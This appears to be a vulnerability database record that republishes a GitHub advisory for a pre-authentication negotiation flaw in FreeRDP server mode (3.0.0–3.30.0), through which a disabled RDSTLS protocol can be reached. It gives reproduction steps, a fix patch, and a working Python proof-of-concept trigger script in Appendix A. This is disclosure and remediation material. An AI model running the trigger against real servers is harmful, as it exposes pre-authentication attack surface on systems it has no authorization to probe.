FreeRDP server enters RDSTLS after a negotiation failure
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- Low
- Impact type
- Security bypass
- Confidentiality · integrity · availability
- High · Low · None
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-x7v6-xfx3-52j6. Fix status from GitHub. Impact type from CWE-693.
Summary
FreeRDP from 3.0.0 through 3.30.0 in server mode sends a negotiation failure response but keeps processing the same connection, treating the combined failure value as a protocol bitmask (CWE-755). An unauthenticated remote attacker who offers an incompatible protocol can then complete TLS and enter RDSTLS, which the server had disabled. This exposes an unintended protocol and its parsers before authentication runs.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
# FreeRDP server continues after negotiation failure and dispatches a failure code as RDSTLS Discovery credit: Bynario Atlas CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N` (9.3, Critical) CWE(s): `CWE-755` (Improper Handling of Exceptional Conditions), `CWE-693` (Protection Mechanism Failure) ## Summary > Disclosure note: This finding was identified and validated by Bynario Atlas, an AI automated pipeline. The technical claims and supporting evidence were manually reviewed before submission. FreeRDP server mode can send a terminal RDP Negotiation Failure response yet continue processing the same connection. It stores the failure sentinel and wire failure code in `SelectedProtocol`; later code treats that combined value as a protocol bitmask instead of first terminating on the failure state. For an NLA-only server, `HYBRID_REQUIRED_BY_SERVER` produces `0x80000005`, which contains the `PROTOCOL_RDSTLS` bit. An unauthenticated client that offers an incompatible protocol therefore receives an explicit negotiation failure, then can complete TLS and enter server-side RDSTLS even though the server disabled RDSTLS and the client did not request it. This is a pre-authentication transport-policy bypass. By itself it exposes an unintended protocol and its parsers before the configured authentication mechanism runs; it does not itself authenticate the peer or execute code. Its impact becomes more serious if an independent transport-authentication or embedding-authorization failure accepts the connection after this unintended dispatch. ## Affected versions and preconditions - Source-confirmed in FreeRDP 3.0.0 through 3.30.0 and runtime-tested on FreeRDP 3.22.0 and 3.30.0. - Still source-confirmed on FreeRDP master at commit `9626564421df72c84f891afdbc0b20bf702f369f` (2026-08-22). - The exact RDSTLS-confusion path begins with RDSTLS server support, introduced by commit `7c24da917efe1007b9c607f4f95a304ef292fff3`. - Affected deployments use FreeRDP in server mode and reach a negotiation failure whose failure-code bits overlap a later protocol test. ## Technical Analysis ### Background `rdp_server_accept_nego()` selects one of RDP, TLS, NLA, or RDSTLS. If the client and server have no compatible protocol, it constructs this internal value: ```c SelectedProtocol = PROTOCOL_FAILED_NEGO; if (settings->NlaSecurity && !settings->TlsSecurity) SelectedProtocol |= HYBRID_REQUIRED_BY_SERVER; ``` The relevant constants are: ```text PROTOCOL_RDSTLS = 0x00000004 HYBRID_REQUIRED_BY_SERVER = 0x00000005 PROTOCOL_FAILED_NEGO = 0x80000000 ``` ### Vulnerability `nego_send_negotiation_response()` correctly recognizes the high failure bit, sends `TYPE_RDP_NEG_FAILURE`, and puts only the low failure code on the wire. Its return value, however, means only that the write succeeded. The caller then reloads the unmodified internal value and dispatches it: ```c SelectedProtocol = nego_get_selected_protocol(nego); if (SelectedProtocol & PROTOCOL_RDSTLS) status = transport_accept_rdstls(rdp->transport); else if (SelectedProtocol & PROTOCOL_HYBRID) status = transport_accept_nla(rdp->transport); else if (SelectedProtocol & PROTOCOL_SSL) status = transport_accept_tls(rdp->transport); ``` For an NLA-only server: ```text failure value = PROTOCOL_FAILED_NEGO | HYBRID_REQUIRED_BY_SERVER = 0x80000005 0x80000005 & PROTOCOL_RDSTLS = 0x00000004 ``` The result is a state-machine contradiction: ```text client FreeRDP server |--- incompatible CR --------->| |<-- RDP_NEG_FAILURE -----------| | | does not terminate |--- TLS ClientHello ---------->| |<====== unintended RDSTLS =====| ``` Neither `transport_accept_rdstls()` nor the RDSTLS constructor rechecks that RDSTLS was enabled or requested. ### Reachability The trigger is pre-authentication. An unauthenticated peer sends an X.224 Connection Request that does not offer the only security protocol enabled by the server. The affected path runs before CredSSP, NLA, MCS, or application logon handling. This was reached against an NLA-only GNOME Remote Desktop server configuration: RDSTLS was disabled, yet the same TCP connection progressed from the emitted failure response into a server-side RDSTLS exchange. No credential or routing token was needed to reach the unintended transport. ## Reproduction The NLA-only policy used here is realistic but is not FreeRDP's generic all-protocol default. It is the exact policy used by GNOME Remote Desktop in `SYSTEM` mode, and FreeRDP's shadow server also exposes an NLA-only security mode. `TlsSecurity=FALSE` disables standalone TLS security; it does not prevent NLA/CredSSP from establishing its protected transport. 1. Create a FreeRDP server peer with NLA enabled and RDP, TLS, and RDSTLS disabled. 2. Connect without credentials and send an RDP Negotiation Request with `RequestedProtocols = PROTOCOL_SSL`, omitting both `PROTOCOL_HYBRID` and `PROTOCOL_RDSTLS`. 3. Confirm that the server sends `TYPE_RDP_NEG_FAILURE` with `HYBRID_REQUIRED_BY_SERVER`. 4. Without reconnecting, send a TLS ClientHello on the same socket. 5. Observe that the server completes TLS and begins the RDSTLS capabilities exchange instead of closing the connection. Appendix A contains a compact single-file trigger for the negotiation defect. It stops after proving that the failed connection entered RDSTLS; the validated client that continues through authentication and the later RDP phases is larger and is available privately with the packet trace and raw logs. ## Impact ### Observed An unauthenticated peer entered a security protocol that the embedding server explicitly disabled, after the peer had already received a negotiation failure. The same connection completed TLS and received RDSTLS capabilities. The standalone negotiation evidence does not claim an RDSTLS authentication result or application-level admission. ### Inferred This is a security-policy bypass at the FreeRDP server boundary. The final impact depends on the authentication behavior of the unintended transport and the embedding server's `Logon` callback. It is not remote code execution by itself, but it makes parsers and callbacks that were intended to be post-auth reachable before the configured authentication mechanism runs. If the unintended transport or embedding application has an independent authentication or authorization fail-open, this negotiation defect can make that condition remotely reachable before the configured mechanism runs and may lead to admission without a valid configured credential. This negotiation defect alone does not establish authentication success. ## Remediation Suggestions - Treat a negotiation failure as terminal after sending the failure response. - Keep failure state and failure code separate from `SelectedProtocol`. - Dispatch a selected protocol by exact value, not overlapping bit tests. - Before accepting a transport, revalidate that it was both offered by the client and enabled by server settings. - Add a regression test asserting that no bytes after an RDP Negotiation Failure are interpreted as TLS, NLA, RDSTLS, or RDP traffic. A minimal safe control-flow change in `rdp_server_accept_nego()` is: ```c SelectedProtocol = nego_get_selected_protocol(nego); if ((SelectedProtocol & PROTOCOL_FAILED_NEGO) != 0) { WLog_ERR(TAG, "Protocol security negotiation failed, disconnecting"); return FALSE; } ``` This guard was compiled against FreeRDP 3.22.0 and 3.30.0 and runtime-tested against 3.22.0. The trigger connection was closed before TLS or `Logon`; an NLA request still reached `transport_accept_nla()` exactly as on the unpatched build. Exact-value comparisons such as `SelectedProtocol == PROTOCOL_RDSTLS` are also recommended as defense in depth, but were not separately tested. ## Appendix A: Compact negotiation trigger This Python 3 client sends the 19-byte X.224 request used by the validated C client, verifies failure code `0x5`, and then attempts TLS on the same socket. An affected NLA-only server completes TLS and sends RDSTLS capabilities; a fixed server closes the connection. The exact script below was runtime-tested on 2026-08-23 against an NLA-only server linked to FreeRDP 3.30.0 (tag `3.30.0`, commit `6b107f0aadbabc47941c5a5b893b88c01792af6d`). It produced: ```console $ python3 negotiation-trigger.py 127.0.0.1 3389 received RDP_NEG_FAILURE(HYBRID_REQUIRED_BY_SERVER) unexpected RDSTLS capabilities: 0100010001000300 ``` As a control, the same script was run against FreeRDP 3.30.0 rebuilt with the terminal-failure guard proposed above. It received the negotiation failure, then the server closed the socket and Python raised `ssl.SSLEOFError` during the attempted TLS handshake; no RDSTLS capabilities were received. ```python #!/usr/bin/env python3 import socket import ssl import struct import sys def recv_exact(sock, length): data = b"" while len(data) < length: chunk = sock.recv(length - len(data)) if not chunk: raise EOFError("server closed the connection") data += chunk return data host = sys.argv[1] port = int(sys.argv[2]) sock = socket.create_connection((host, port), timeout=5) # TPKT + X.224 Connection Request + RDP_NEG_REQ(PROTOCOL_SSL only). request = bytes.fromhex( "03 00 00 13 0e e0 00 00 00 00 00 01 00 08 00 01 00 00 00" ) sock.sendall(request) header = recv_exact(sock, 4) length = int.from_bytes(header[2:4], "big") confirm = header + recv_exact(sock, length - 4) if len(confirm) < 19 or confirm[11] != 0x03: raise RuntimeError(f"expected RDP_NEG_FAILURE, got {confirm.hex()}") failure = struct.unpack_from("<I", confirm, 15)[0] if failure != 0x00000005: raise RuntimeError(f"expected HYBRID_REQUIRED_BY_SERVER, got {failure:#x}") print("received RDP_NEG_FAILURE(HYBRID_REQUIRED_BY_SERVER)") context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE tls = context.wrap_socket(sock, server_hostname=host) capabilities = recv_exact(tls, 8) version, pdu_type, data_type, supported_versions = struct.unpack("<HHHH", capabilities) if (version != 1 or pdu_type != 1 or data_type != 1 or not (supported_versions & 1)): raise RuntimeError(f"expected RDSTLS capabilities, got {capabilities.hex()}") print("unexpected RDSTLS capabilities:", capabilities.hex()) ```
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP | >= 3.0.0, <= 3.30.0 | 3.31.0 | Patch available | GHSA-x7v6-xfx3-52j6 |
- FreeRDP Vendor— Affected >= 3.0.0, <= 3.30.0 Fixed in 3.31.0 Patch available GHSA-x7v6-xfx3-52j6
Remediation
Update FreeRDP to version 3.31.0, the fixed version for affected releases 3.0.0 through 3.30.0.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-x7v6-xfx3-52j6 FreeRDP Fixed in 3.31.0 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-x7v6-xfx3-52j6
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences